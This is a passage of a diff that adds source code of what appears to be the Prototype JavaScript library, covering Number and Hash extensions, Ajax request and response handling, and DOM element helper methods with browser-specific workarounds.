+ array.push(arguments[i][j]); + } else { + array.push(arguments[i]); + } + } + return array; + }; +} +Object.extend(Number.prototype, { + toColorPart: function() { + return this.toPaddedString(2, 16); + }, + + succ: function() { + return this + 1; + }, + + times: function(iterator) { + $R(0, this, true).each(iterator); + return this; + }, + + toPaddedString: function(length, radix) { + var string = this.toString(radix || 10); + return '0'.times(length - string.length) + string; + }, + + toJSON: function() { + return isFinite(this) ? this.toString() : 'null'; + } +}); + +$w('abs round ceil floor').each(function(method){ + Number.prototype[method] = Math[method].methodize(); +}); +function $H(object) { + return new Hash(object); +}; + +var Hash = Class.create(Enumerable, (function() { + if (function() { + var i = 0, Test = function(value) { this.key = value }; + Test.prototype.key = 'foo'; + for (var property in new Test('bar')) i++; + return i > 1; + }()) { + function each(iterator) { + var cache = []; + for (var key in this._object) { + var value = this._object[key]; + if (cache.include(key)) continue; + cache.push(key); + var pair = [key, value]; + pair.key = key; + pair.value = value; + iterator(pair); + } + } + } else { + function each(iterator) { + for (var key in this._object) { + var value = this._object[key], pair = [key, value]; + pair.key = key; + pair.value = value; + iterator(pair); + } + } + } + + function toQueryPair(key, value) { + if (Object.isUndefined(value)) return key; + return key + '=' + encodeURIComponent(String.interpret(value)); + } + + return { + initialize: function(object) { + this._object = Object.isHash(object) ? object.toObject() : Object.clone(object); + }, + + _each: each, + + set: function(key, value) { + return this._object[key] = value; + }, + + get: function(key) { + return this._object[key]; + }, + + unset: function(key) { + var value = this._object[key]; + delete this._object[key]; + return value; + }, + + toObject: function() { + return Object.clone(this._object); + }, + + keys: function() { + return this.pluck('key'); + }, + + values: function() { + return this.pluck('value'); + }, + + index: function(value) { + var match = this.detect(function(pair) { + return pair.value === value; + }); + return match && match.key; + }, + + merge: function(object) { + return this.clone().update(object); + }, + + update: function(object) { + return new Hash(object).inject(this, function(result, pair) { + result.set(pair.key, pair.value); + return result; + }); + }, + + toQueryString: function() { + return this.map(function(pair) { + var key = encodeURIComponent(pair.key), values = pair.value; + + if (values && typeof values == 'object') { + if (Object.isArray(values)) + return values.map(toQueryPair.curry(key)).join('&'); + } + return toQueryPair(key, values); + }).join('&'); + }, + + inspect: function() { + return '#'; + }, + + toJSON: function() { + return Object.toJSON(this.toObject()); + }, + + clone: function() { + return new Hash(this); + } + } +})()); + +Hash.prototype.toTemplateReplacements = Hash.prototype.toObject; +Hash.from = $H; +var ObjectRange = Class.create(Enumerable, { + initialize: function(start, end, exclusive) { + this.start = start; + this.end = end; + this.exclusive = exclusive; + }, + + _each: function(iterator) { + var value = this.start; + while (this.include(value)) { + iterator(value); + value = value.succ(); + } + }, + + include: function(value) { + if (value < this.start) + return false; + if (this.exclusive) + return value < this.end; + return value <= this.end; + } +}); + +var $R = function(start, end, exclusive) { + return new ObjectRange(start, end, exclusive); +}; + +var Ajax = { + getTransport: function() { + return Try.these( + function() {return new XMLHttpRequest()}, + function() {return new ActiveXObject('Msxml2.XMLHTTP')}, + function() {return new ActiveXObject('Microsoft.XMLHTTP')} + ) || false; + }, + + activeRequestCount: 0 +}; + +Ajax.Responders = { + responders: [], + + _each: function(iterator) { + this.responders._each(iterator); + }, + + register: function(responder) { + if (!this.include(responder)) + this.responders.push(responder); + }, + + unregister: function(responder) { + this.responders = this.responders.without(responder); + }, + + dispatch: function(callback, request, transport, json) { + this.each(function(responder) { + if (Object.isFunction(responder[callback])) { + try { + responder[callback].apply(responder, [request, transport, json]); + } catch (e) { } + } + }); + } +}; + +Object.extend(Ajax.Responders, Enumerable); + +Ajax.Responders.register({ + onCreate: function() { Ajax.activeRequestCount++ }, + onComplete: function() { Ajax.activeRequestCount-- } +}); + +Ajax.Base = Class.create({ + initialize: function(options) { + this.options = { + method: 'post', + asynchronous: true, + contentType: 'application/x-www-form-urlencoded', + encoding: 'UTF-8', + parameters: '', + evalJSON: true, + evalJS: true + }; + Object.extend(this.options, options || { }); + + this.options.method = this.options.method.toLowerCase(); + if (Object.isString(this.options.parameters)) + this.options.parameters = this.options.parameters.toQueryParams(); + } +}); + +Ajax.Request = Class.create(Ajax.Base, { + _complete: false, + + initialize: function($super, url, options) { + $super(options); + this.transport = Ajax.getTransport(); + this.request(url); + }, + + request: function(url) { + this.url = url; + this.method = this.options.method; + var params = Object.clone(this.options.parameters); + + if (!['get', 'post'].include(this.method)) { + // simulate other verbs over post + params['_method'] = this.method; + this.method = 'post'; + } + + this.parameters = params; + + if (params = Object.toQueryString(params)) { + // when GET, append parameters to URL + if (this.method == 'get') + this.url += (this.url.include('?') ? '&' : '?') + params; + else if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) + params += '&_='; + } + + try { + var response = new Ajax.Response(this); + if (this.options.onCreate) this.options.onCreate(response); + Ajax.Responders.dispatch('onCreate', this, response); + + this.transport.open(this.method.toUpperCase(), this.url, + this.options.asynchronous); + + if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1); + + this.transport.onreadystatechange = this.onStateChange.bind(this); + this.setRequestHeaders(); + + this.body = this.method == 'post' ? (this.options.postBody || params) : null; + this.transport.send(this.body); + + /* Force Firefox to handle ready state 4 for synchronous requests */ + if (!this.options.asynchronous && this.transport.overrideMimeType) + this.onStateChange(); + + } + catch (e) { + this.dispatchException(e); + } + }, + + onStateChange: function() { + var readyState = this.transport.readyState; + if (readyState > 1 && !((readyState == 4) && this._complete)) + this.respondToReadyState(this.transport.readyState); + }, + + setRequestHeaders: function() { + var headers = { + 'X-Requested-With': 'XMLHttpRequest', + 'X-Prototype-Version': Prototype.Version, + 'Accept': 'text/javascript, text/html, application/xml, text/xml, */*' + }; + + if (this.method == 'post') { + headers['Content-type'] = this.options.contentType + + (this.options.encoding ? '; charset=' + this.options.encoding : ''); + + /* Force "Connection: close" for older Mozilla browsers to work + * around a bug where XMLHttpRequest sends an incorrect + * Content-length header. See Mozilla Bugzilla #246651. + */ + if (this.transport.overrideMimeType && + (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005) + headers['Connection'] = 'close'; + } + + // user-defined headers + if (typeof this.options.requestHeaders == 'object') { + var extras = this.options.requestHeaders; + + if (Object.isFunction(extras.push)) + for (var i = 0, length = extras.length; i < length; i += 2) + headers[extras[i]] = extras[i+1]; + else + $H(extras).each(function(pair) { headers[pair.key] = pair.value }); + } + + for (var name in headers) + this.transport.setRequestHeader(name, headers[name]); + }, + + success: function() { + var status = this.getStatus(); + return !status || (status >= 200 && status < 300); + }, + + getStatus: function() { + try { + return this.transport.status || 0; + } catch (e) { return 0 } + }, + + respondToReadyState: function(readyState) { + var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this); + + if (state == 'Complete') { + try { + this._complete = true; + (this.options['on' + response.status] + || this.options['on' + (this.success() ? 'Success' : 'Failure')] + || Prototype.emptyFunction)(response, response.headerJSON); + } catch (e) { + this.dispatchException(e); + } + + var contentType = response.getHeader('Content-type'); + if (this.options.evalJS == 'force' + || (this.options.evalJS && contentType + && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i))) + this.evalResponse(); + } + + try { + (this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON); + Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON); + } catch (e) { + this.dispatchException(e); + } + + if (state == 'Complete') { + // avoid memory leak in MSIE: clean up + this.transport.onreadystatechange = Prototype.emptyFunction; + } + }, + + getHeader: function(name) { + try { + return this.transport.getResponseHeader(name); + } catch (e) { return null } + }, + + evalResponse: function() { + try { + return eval((this.transport.responseText || '').unfilterJSON()); + } catch (e) { + this.dispatchException(e); + } + }, + + dispatchException: function(exception) { + (this.options.onException || Prototype.emptyFunction)(this, exception); + Ajax.Responders.dispatch('onException', this, exception); + } +}); + +Ajax.Request.Events = + ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; + +Ajax.Response = Class.create({ + initialize: function(request){ + this.request = request; + var transport = this.transport = request.transport, + readyState = this.readyState = transport.readyState; + + if((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) { + this.status = this.getStatus(); + this.statusText = this.getStatusText(); + this.responseText = String.interpret(transport.responseText); + this.headerJSON = this._getHeaderJSON(); + } + + if(readyState == 4) { + var xml = transport.responseXML; + this.responseXML = xml === undefined ? null : xml; + this.responseJSON = this._getResponseJSON(); + } + }, + + status: 0, + statusText: '', + + getStatus: Ajax.Request.prototype.getStatus, + + getStatusText: function() { + try { + return this.transport.statusText || ''; + } catch (e) { return '' } + }, + + getHeader: Ajax.Request.prototype.getHeader, + + getAllHeaders: function() { + try { + return this.getAllResponseHeaders(); + } catch (e) { return null } + }, + + getResponseHeader: function(name) { + return this.transport.getResponseHeader(name); + }, + + getAllResponseHeaders: function() { + return this.transport.getAllResponseHeaders(); + }, + + _getHeaderJSON: function() { + var json = this.getHeader('X-JSON'); + if (!json) return null; + json = decodeURIComponent(escape(json)); + try { + return json.evalJSON(this.request.options.sanitizeJSON); + } catch (e) { + this.request.dispatchException(e); + } + }, + + _getResponseJSON: function() { + var options = this.request.options; + if (!options.evalJSON || (options.evalJSON != 'force' && + !(this.getHeader('Content-type') || '').include('application/json'))) + return null; + try { + return this.transport.responseText.evalJSON(options.sanitizeJSON); + } catch (e) { + this.request.dispatchException(e); + } + } +}); + +Ajax.Updater = Class.create(Ajax.Request, { + initialize: function($super, container, url, options) { + this.container = { + success: (container.success || container), + failure: (container.failure || (container.success ? null : container)) + }; + + options = options || { }; + var onComplete = options.onComplete; + options.onComplete = (function(response, param) { + this.updateContent(response.responseText); + if (Object.isFunction(onComplete)) onComplete(response, param); + }).bind(this); + + $super(url, options); + }, + + updateContent: function(responseText) { + var receiver = this.container[this.success() ? 'success' : 'failure'], + options = this.options; + + if (!options.evalScripts) responseText = responseText.stripScripts(); + + if (receiver = $(receiver)) { + if (options.insertion) { + if (Object.isString(options.insertion)) { + var insertion = { }; insertion[options.insertion] = responseText; + receiver.insert(insertion); + } + else options.insertion(receiver, responseText); + } + else receiver.update(responseText); + } + + if (this.success()) { + if (this.onComplete) this.onComplete.bind(this).defer(); + } + } +}); + +Ajax.PeriodicalUpdater = Class.create(Ajax.Base, { + initialize: function($super, container, url, options) { + $super(options); + this.onComplete = this.options.onComplete; + + this.frequency = (this.options.frequency || 2); + this.decay = (this.options.decay || 1); + + this.updater = { }; + this.container = container; + this.url = url; + + this.start(); + }, + + start: function() { + this.options.onComplete = this.updateComplete.bind(this); + this.onTimerEvent(); + }, + + stop: function() { + this.updater.options.onComplete = undefined; + clearTimeout(this.timer); + (this.onComplete || Prototype.emptyFunction).apply(this, arguments); + }, + + updateComplete: function(response) { + if (this.options.decay) { + this.decay = (response.responseText == this.lastText ? + this.decay * this.options.decay : 1); + + this.lastText = response.responseText; + } + this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency); + }, + + onTimerEvent: function() { + this.updater = new Ajax.Updater(this.container, this.url, this.options); + } +}); +function $(element) { + if (arguments.length > 1) { + for (var i = 0, elements = [], length = arguments.length; i < length; i++) + elements.push($(arguments[i])); + return elements; + } + if (Object.isString(element)) + element = document.getElementById(element); + return Element.extend(element); +} + +if (Prototype.BrowserFeatures.XPath) { + document._getElementsByXPath = function(expression, parentElement) { + var results = []; + var query = document.evaluate(expression, $(parentElement) || document, + null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); + for (var i = 0, length = query.snapshotLength; i < length; i++) + results.push(Element.extend(query.snapshotItem(i))); + return results; + }; +} + +/*--------------------------------------------------------------------------*/ + +if (!window.Node) var Node = { }; + +if (!Node.ELEMENT_NODE) { + // DOM level 2 ECMAScript Language Binding + Object.extend(Node, { + ELEMENT_NODE: 1, + ATTRIBUTE_NODE: 2, + TEXT_NODE: 3, + CDATA_SECTION_NODE: 4, + ENTITY_REFERENCE_NODE: 5, + ENTITY_NODE: 6, + PROCESSING_INSTRUCTION_NODE: 7, + COMMENT_NODE: 8, + DOCUMENT_NODE: 9, + DOCUMENT_TYPE_NODE: 10, + DOCUMENT_FRAGMENT_NODE: 11, + NOTATION_NODE: 12 + }); +} + +(function() { + var element = this.Element; + this.Element = function(tagName, attributes) { + attributes = attributes || { }; + tagName = tagName.toLowerCase(); + var cache = Element.cache; + if (Prototype.Browser.IE && attributes.name) { + tagName = '<' + tagName + ' name="' + attributes.name + '">'; + delete attributes.name; + return Element.writeAttribute(document.createElement(tagName), attributes); + } + if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName)); + return Element.writeAttribute(cache[tagName].cloneNode(false), attributes); + }; + Object.extend(this.Element, element || { }); +}).call(window); + +Element.cache = { }; + +Element.Methods = { + visible: function(element) { + return $(element).style.display != 'none'; + }, + + toggle: function(element) { + element = $(element); + Element[Element.visible(element) ? 'hide' : 'show'](element); + return element; + }, + + hide: function(element) { + $(element).style.display = 'none'; + return element; + }, + + show: function(element) { + $(element).style.display = ''; + return element; + }, + + remove: function(element) { + element = $(element); + element.parentNode.removeChild(element); + return element; + }, + + update: function(element, content) { + element = $(element); + if (content && content.toElement) content = content.toElement(); + if (Object.isElement(content)) return element.update().insert(content); + content = Object.toHTML(content); + element.innerHTML = content.stripScripts(); + content.evalScripts.bind(content).defer(); + return element; + }, + + replace: function(element, content) { + element = $(element); + if (content && content.toElement) content = content.toElement(); + else if (!Object.isElement(content)) { + content = Object.toHTML(content); + var range = element.ownerDocument.createRange(); + range.selectNode(element); + content.evalScripts.bind(content).defer(); + content = range.createContextualFragment(content.stripScripts()); + } + element.parentNode.replaceChild(content, element); + return element; + }, + + insert: function(element, insertions) { + element = $(element); + + if (Object.isString(insertions) || Object.isNumber(insertions) || + Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML))) + insertions = {bottom:insertions}; + + var content, t, range; + + for (position in insertions) { + content = insertions[position]; + position = position.toLowerCase(); + t = Element._insertionTranslations[position]; + + if (content && content.toElement) content = content.toElement(); + if (Object.isElement(content)) { + t.insert(element, content); + continue; + } + + content = Object.toHTML(content); + + range = element.ownerDocument.createRange(); + t.initializeRange(element, range); + t.insert(element, range.createContextualFragment(content.stripScripts())); + + content.evalScripts.bind(content).defer(); + } + + return element; + }, + + wrap: function(element, wrapper, attributes) { + element = $(element); + if (Object.isElement(wrapper)) + $(wrapper).writeAttribute(attributes || { }); + else if (Object.isString(wrapper)) wrapper = new Element(wrapper, attributes); + else wrapper = new Element('div', wrapper); + if (element.parentNode) + element.parentNode.replaceChild(wrapper, element); + wrapper.appendChild(element); + return wrapper; + }, + + inspect: function(element) { + element = $(element); + var result = '<' + element.tagName.toLowerCase(); + $H({'id': 'id', 'className': 'class'}).each(function(pair) { + var property = pair.first(), attribute = pair.last(); + var value = (element[property] || '').toString(); + if (value) result += ' ' + attribute + '=' + value.inspect(true); + }); + return result + '>'; + }, + + recursivelyCollect: function(element, property) { + element = $(element); + var elements = []; + while (element = element[property]) + if (element.nodeType == 1) + elements.push(Element.extend(element)); + return elements; + }, + + ancestors: function(element) { + return $(element).recursivelyCollect('parentNode'); + }, + + descendants: function(element) { + return $A($(element).getElementsByTagName('*')).each(Element.extend); + }, + + firstDescendant: function(element) { + element = $(element).firstChild; + while (element && element.nodeType != 1) element = element.nextSibling; + return $(element); + }, + + immediateDescendants: function(element) { + if (!(element = $(element).firstChild)) return []; + while (element && element.nodeType != 1) element = element.nextSibling; + if (element) return [element].concat($(element).nextSiblings()); + return []; + }, + + previousSiblings: function(element) { + return $(element).recursivelyCollect('previousSibling'); + }, + + nextSiblings: function(element) { + return $(element).recursivelyCollect('nextSibling'); + }, + + siblings: function(element) { + element = $(element); + return element.previousSiblings().reverse().concat(element.nextSiblings()); + }, + + match: function(element, selector) { + if (Object.isString(selector)) + selector = new Selector(selector); + return selector.match($(element)); + }, + + up: function(element, expression, index) { + element = $(element); + if (arguments.length == 1) return $(element.parentNode); + var ancestors = element.ancestors(); + return expression ? Selector.findElement(ancestors, expression, index) : + ancestors[index || 0]; + }, + + down: function(element, expression, index) { + element = $(element); + if (arguments.length == 1) return element.firstDescendant(); + var descendants = element.descendants(); + return expression ? Selector.findElement(descendants, expression, index) : + descendants[index || 0]; + }, + + previous: function(element, expression, index) { + element = $(element); + if (arguments.length == 1) return $(Selector.handlers.previousElementSibling(element)); + var previousSiblings = element.previousSiblings(); + return expression ? Selector.findElement(previousSiblings, expression, index) : + previousSiblings[index || 0]; + }, + + next: function(element, expression, index) { + element = $(element); + if (arguments.length == 1) return $(Selector.handlers.nextElementSibling(element)); + var nextSiblings = element.nextSiblings(); + return expression ? Selector.findElement(nextSiblings, expression, index) : + nextSiblings[index || 0]; + }, + + select: function() { + var args = $A(arguments), element = $(args.shift()); + return Selector.findChildElements(element, args); + }, + + adjacent: function() { + var args = $A(arguments), element = $(args.shift()); + return Selector.findChildElements(element.parentNode, args).without(element); + }, + + identify: function(element) { + element = $(element); + var id = element.readAttribute('id'), self = arguments.callee; + if (id) return id; + do { id = 'anonymous_element_' + self.counter++ } while ($(id)); + element.writeAttribute('id', id); + return id; + }, + + readAttribute: function(element, name) { + element = $(element); + if (Prototype.Browser.IE) { + var t = Element._attributeTranslations.read; + if (t.values[name]) return t.values[name](element, name); + if (t.names[name]) name = t.names[name]; + if (name.include(':')) { + return (!element.attributes || !element.attributes[name]) ? null : + element.attributes[name].value; + } + } + return element.getAttribute(name); + }, + + writeAttribute: function(element, name, value) { + element = $(element); + var attributes = { }, t = Element._attributeTranslations.write; + + if (typeof name == 'object') attributes = name; + else attributes[name] = value === undefined ? true : value; + + for (var attr in attributes) { + var name = t.names[attr] || attr, value = attributes[attr]; + if (t.values[attr]) name = t.values[attr](element, value); + if (value === false || value === null) + element.removeAttribute(name); + else if (value === true) + element.setAttribute(name, name); + else element.setAttribute(name, value); + } + return element; + }, + + getHeight: function(element) { + return $(element).getDimensions().height; + }, + + getWidth: function(element) { + return $(element).getDimensions().width; + }, + + classNames: function(element) { + return new Element.ClassNames(element); + }, + + hasClassName: function(element, className) { + if (!(element = $(element))) return; + var elementClassName = element.className; + return (elementClassName.length > 0 && (elementClassName == className || + new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName))); + }, + + addClassName: function(element, className) { + if (!(element = $(element))) return; + if (!element.hasClassName(className)) + element.className += (element.className ? ' ' : '') + className; + return element; + }, + + removeClassName: function(element, className) { + if (!(element = $(element))) return; + element.className = element.className.replace( + new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' ').strip(); + return element; + }, + + toggleClassName: function(element, className) { + if (!(element = $(element))) return; + return element[element.hasClassName(className) ? + 'removeClassName' : 'addClassName'](className); + }, + + // removes whitespace-only text node children + cleanWhitespace: function(element) { + element = $(element); + var node = element.firstChild; + while (node) { + var nextNode = node.nextSibling; + if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) + element.removeChild(node); + node = nextNode; + } + return element; + }, + + empty: function(element) { + return $(element).innerHTML.blank(); + }, + + descendantOf: function(element, ancestor) { + element = $(element), ancestor = $(ancestor); + + if (element.compareDocumentPosition) + return (element.compareDocumentPosition(ancestor) & 8) === 8; + + if (element.sourceIndex && !Prototype.Browser.Opera) { + var e = element.sourceIndex, a = ancestor.sourceIndex, + nextAncestor = ancestor.nextSibling; + if (!nextAncestor) { + do { ancestor = ancestor.parentNode; } + while (!(nextAncestor = ancestor.nextSibling) && ancestor.parentNode); + } + if (nextAncestor) return (e > a && e < nextAncestor.sourceIndex); + } + + while (element = element.parentNode) + if (element == ancestor) return true; + return false; + }, + + scrollTo: function(element) { + element = $(element); + var pos = element.cumulativeOffset(); + window.scrollTo(pos[0], pos[1]); + return element; + }, + + getStyle: function(element, style) { + element = $(element); + style = style == 'float' ? 'cssFloat' : style.camelize(); + var value = element.style[style]; + if (!value) { + var css = document.defaultView.getComputedStyle(element, null); + value = css ? css[style] : null; + } + if (style == 'opacity') return value ? parseFloat(value) : 1.0; + return value == 'auto' ? null : value; + }, + + getOpacity: function(element) { + return $(element).getStyle('opacity'); + }, + + setStyle: function(element, styles) { + element = $(element); + var elementStyle = element.style, match; + if (Object.isString(styles)) { + element.style.cssText += ';' + styles; + return styles.include('opacity') ? + element.setOpacity(styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element; + } + for (var property in styles) + if (property == 'opacity') element.setOpacity(styles[property]); + else + elementStyle[(property == 'float' || property == 'cssFloat') ? + (elementStyle.styleFloat === undefined ? 'cssFloat' : 'styleFloat') : + property] = styles[property]; + + return element; + }, + + setOpacity: function(element, value) { + element = $(element); + element.style.opacity = (value == 1 || value === '') ? '' : + (value < 0.00001) ? 0 : value; + return element; + }, + + getDimensions: function(element) { + element = $(element); + var display = $(element).getStyle('display'); + if (display != 'none' && display != null) // Safari bug + return {width: element.offsetWidth, height: element.offsetHeight}; + + // All *Width and *Height properties give 0 on elements with display none, + // so enable the element temporarily + var els = element.style; + var originalVisibility = els.visibility; + var originalPosition = els.position; + var originalDisplay = els.display; + els.visibility = 'hidden'; + els.position = 'absolute'; + els.display = 'block'; + var originalWidth = element.clientWidth; + var originalHeight = element.clientHeight; + els.display = originalDisplay; + els.position = originalPosition; + els.visibility = originalVisibility; + return {width: originalWidth, height: originalHeight}; + }, + + makePositioned: function(element) { + element = $(element); + var pos = Element.getStyle(element, 'position'); + if (pos == 'static' || !pos) { + element._madePositioned = true; + element.style.position = 'relative'; + // Opera returns the offset relative to the positioning context, when an + // element is position relative but top and left have not been defined + if (window.opera) { + element.style.top = 0; + element.style.left = 0; + } + } + return element; + }, + + undoPositioned: function(element) { + element = $(element); + if (element._madePositioned) { + element._madePositioned = undefined; + element.style.position = + element.style.top = + element.style.left = + element.style.bottom = + element.style.right = ''; + } + return element; + }, + + makeClipping: function(element) { + element = $(element); + if (element._overflow) return element; + element._overflow = Element.getStyle(element, 'overflow') || 'auto'; + if (element._overflow !== 'hidden') + element.style.overflow = 'hidden'; + return element; + }, + + undoClipping: function(element) { + element = $(element); + if (!element._overflow) return element; + element.style.overflow = element._overflow == 'auto' ? '' : element._overflow; + element._overflow = null; + return element; + }, + + cumulativeOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + } while (element); + return Element._returnOffset(valueL, valueT); + }, + + positionedOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + if (element) { + if (element.tagName == 'BODY') break; + var p = Element.getStyle(element, 'position'); + if (p == 'relative' || p == 'absolute') break; + } + } while (element); + return Element._returnOffset(valueL, valueT); + }, + + absolutize: function(element) { + element = $(element); + if (element.getStyle('position') == 'absolute') return; + // Position.prepare(); // To be done manually by Scripty when it needs it. + + var offsets = element.positionedOffset(); + var top = offsets[1]; + var left = offsets[0]; + var width = element.clientWidth; + var height = element.clientHeight; + + element._originalLeft = left - parseFloat(element.style.left || 0); + element._originalTop = top - parseFloat(element.style.top || 0); + element._originalWidth = element.style.width; + element._originalHeight = element.style.height; + + element.style.position = 'absolute'; + element.style.top = top + 'px'; + element.style.left = left + 'px'; + element.style.width = width + 'px'; + element.style.height = height + 'px'; + return element; + }, + + relativize: function(element) { + element = $(element); + if (element.getStyle('position') == 'relative') return; + // Position.prepare(); // To be done manually by Scripty when it needs it. + + element.style.position = 'relative'; + var top = parseFloat(element.style.top || 0) - (element._originalTop || 0); + var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0); + + element.style.top = top + 'px'; + element.style.left = left + 'px'; + element.style.height = element._originalHeight; + element.style.width = element._originalWidth; + return element; + }, + + cumulativeScrollOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.scrollTop || 0; + valueL += element.scrollLeft || 0; + element = element.parentNode; + } while (element); + return Element._returnOffset(valueL, valueT); + }, + + getOffsetParent: function(element) { + if (element.offsetParent) return $(element.offsetParent); + if (element == document.body) return $(element); + + while ((element = element.parentNode) && element != document.body) + if (Element.getStyle(element, 'position') != 'static') + return $(element); + + return $(document.body); + }, + + viewportOffset: function(forElement) { + var valueT = 0, valueL = 0; + + var element = forElement; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + + // Safari fix + if (element.offsetParent == document.body && + Element.getStyle(element, 'position') == 'absolute') break; + + } while (element = element.offsetParent); + + element = forElement; + do { + if (!Prototype.Browser.Opera || element.tagName == 'BODY') { + valueT -= element.scrollTop || 0; + valueL -= element.scrollLeft || 0; + } + } while (element = element.parentNode); + + return Element._returnOffset(valueL, valueT); + }, + + clonePosition: function(element, source) { + var options = Object.extend({ + setLeft: true, + setTop: true, + setWidth: true, + setHeight: true, + offsetTop: 0, + offsetLeft: 0 + }, arguments[2] || { }); + + // find page position of source + source = $(source); + var p = source.viewportOffset(); + + // find coordinate system to use + element = $(element); + var delta = [0, 0]; + var parent = null; + // delta [0,0] will do fine with position: fixed elements, + // position:absolute needs offsetParent deltas + if (Element.getStyle(element, 'position') == 'absolute') { + parent = element.getOffsetParent(); + delta = parent.viewportOffset(); + } + + // correct by body offsets (fixes Safari) + if (parent == document.body) { + delta[0] -= document.body.offsetLeft; + delta[1] -= document.body.offsetTop; + } + + // set position + if (options.setLeft) element.style.left = (p[0] - delta[0] + options.offsetLeft) + 'px'; + if (options.setTop) element.style.top = (p[1] - delta[1] + options.offsetTop) + 'px'; + if (options.setWidth) element.style.width = source.offsetWidth + 'px'; + if (options.setHeight) element.style.height = source.offsetHeight + 'px'; + return element; + } +}; + +Element.Methods.identify.counter = 1; + +Object.extend(Element.Methods, { + getElementsBySelector: Element.Methods.select, + childElements: Element.Methods.immediateDescendants +}); + +Element._attributeTranslations = { + write: { + names: { + className: 'class', + htmlFor: 'for' + }, + values: { } + } +}; + + +if (!document.createRange || Prototype.Browser.Opera) { + Element.Methods.insert = function(element, insertions) { + element = $(element); + + if (Object.isString(insertions) || Object.isNumber(insertions) || + Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML))) + insertions = { bottom: insertions }; + + var t = Element._insertionTranslations, content, position, pos, tagName; + + for (position in insertions) { + content = insertions[position]; + position = position.toLowerCase(); + pos = t[position]; + + if (content && content.toElement) content = content.toElement(); + if (Object.isElement(content)) { + pos.insert(element, content); + continue; + } + + content = Object.toHTML(content); + tagName = ((position == 'before' || position == 'after') + ? element.parentNode : element).tagName.toUpperCase(); + + if (t.tags[tagName]) { + var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts()); + if (position == 'top' || position == 'after') fragments.reverse(); + fragments.each(pos.insert.curry(element)); + } + else element.insertAdjacentHTML(pos.adjacency, content.stripScripts()); + + content.evalScripts.bind(content).defer(); + } + + return element; + }; +} + +if (Prototype.Browser.Opera) { + Element.Methods._getStyle = Element.Methods.getStyle; + Element.Methods.getStyle = function(element, style) { + switch(style) { + case 'left': + case 'top': + case 'right': + case 'bottom': + if (Element._getStyle(element, 'position') == 'static') return null; + default: return Element._getStyle(element, style); + } + }; + Element.Methods._readAttribute = Element.Methods.readAttribute; + Element.Methods.readAttribute = function(element, attribute) { + if (attribute == 'title') return element.title; + return Element._readAttribute(element, attribute); + }; +} + +else if (Prototype.Browser.IE) { + $w('positionedOffset getOffsetParent viewportOffset').each(function(method) { + Element.Methods[method] = Element.Methods[method].wrap( + function(proceed, element) { + element = $(element); + var position = element.getStyle('position'); + if (position != 'static') return proceed(element); + element.setStyle({ position: 'relative' }); + var value = proceed(element); + element.setStyle({ position: position }); + return value; + } + ); + }); + + Element.Methods.getStyle = function(element, style) { + element = $(element); + style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize(); + var value = element.style[style]; + if (!value && element.currentStyle) value = element.currentStyle[style]; + + if (style == 'opacity') { + if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/)) + if (value[1]) return parseFloat(value[1]) / 100; + return 1.0; + } + + if (value == 'auto') { + if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none')) + return element['offset' + style.capitalize()] + 'px'; + return null; + } + return value; + }; + + Element.Methods.setOpacity = function(element, value) { + function stripAlpha(filter){ + return filter.replace(/alpha\([^\)]*\)/gi,''); + } + element = $(element); + var currentStyle = element.currentStyle; + if ((currentStyle && !currentStyle.hasLayout) || + (!currentStyle && element.style.zoom == 'normal')) + element.style.zoom = 1; + + var filter = element.getStyle('filter'), style = element.style; + if (value == 1 || value === '') { + (filter = stripAlpha(filter)) ? + style.filter = filter : style.removeAttribute('filter'); + return element; + } else if (value < 0.00001) value = 0; + style.filter = stripAlpha(filter) + + 'alpha(opacity=' + (value * 100) + ')'; + return element; + }; + + Element._attributeTranslations = { + read: { + names: { + 'class': 'className', + 'for': 'htmlFor' + }, + values: { + _getAttr: function(element, attribute) { + return element.getAttribute(attribute, 2); + }, + _getAttrNode: function(element, attribute) { + var node = element.getAttributeNode(attribute); + return node ? node.value : ""; + }, + _getEv: function(element, attribute) { + var attribute = element.getAttribute(attribute); + return attribute ? attribute.toString().slice(23, -2) : null; + }, + _flag: function(element, attribute) { + return $(element).hasAttribute(attribute) ? attribute : null; + }, + style: function(element) { + return element.style.cssText.toLowerCase(); + }, + title: function(element) { + return element.title; + } + } + } + }; + + Element._attributeTranslations.write = { + names: Object.clone(Element._attributeTranslations.read.names), + values: { + checked: function(element, value) { + element.checked = !!value; + }, + + style: function(element, value) { + element.style.cssText = value ? value : ''; + } + } + }; + + Element._attributeTranslations.has = {}; + + $w('colSpan rowSpan vAlign dateTime accessKey tabIndex ' + + 'encType maxLength readOnly longDesc').each(function(attr) { + Element._attributeTranslations.write.names[attr.toLowerCase()] = attr; + Element._attributeTranslations.has[attr.toLowerCase()] = attr; + }); + + (function(v) { + Object.extend(v, { + href: v._getAttr, + src: v._getAttr, + type: v._getAttr, + action: v._getAttrNode, + disabled: v._flag, + checked: v._flag, + readonly: v._flag, 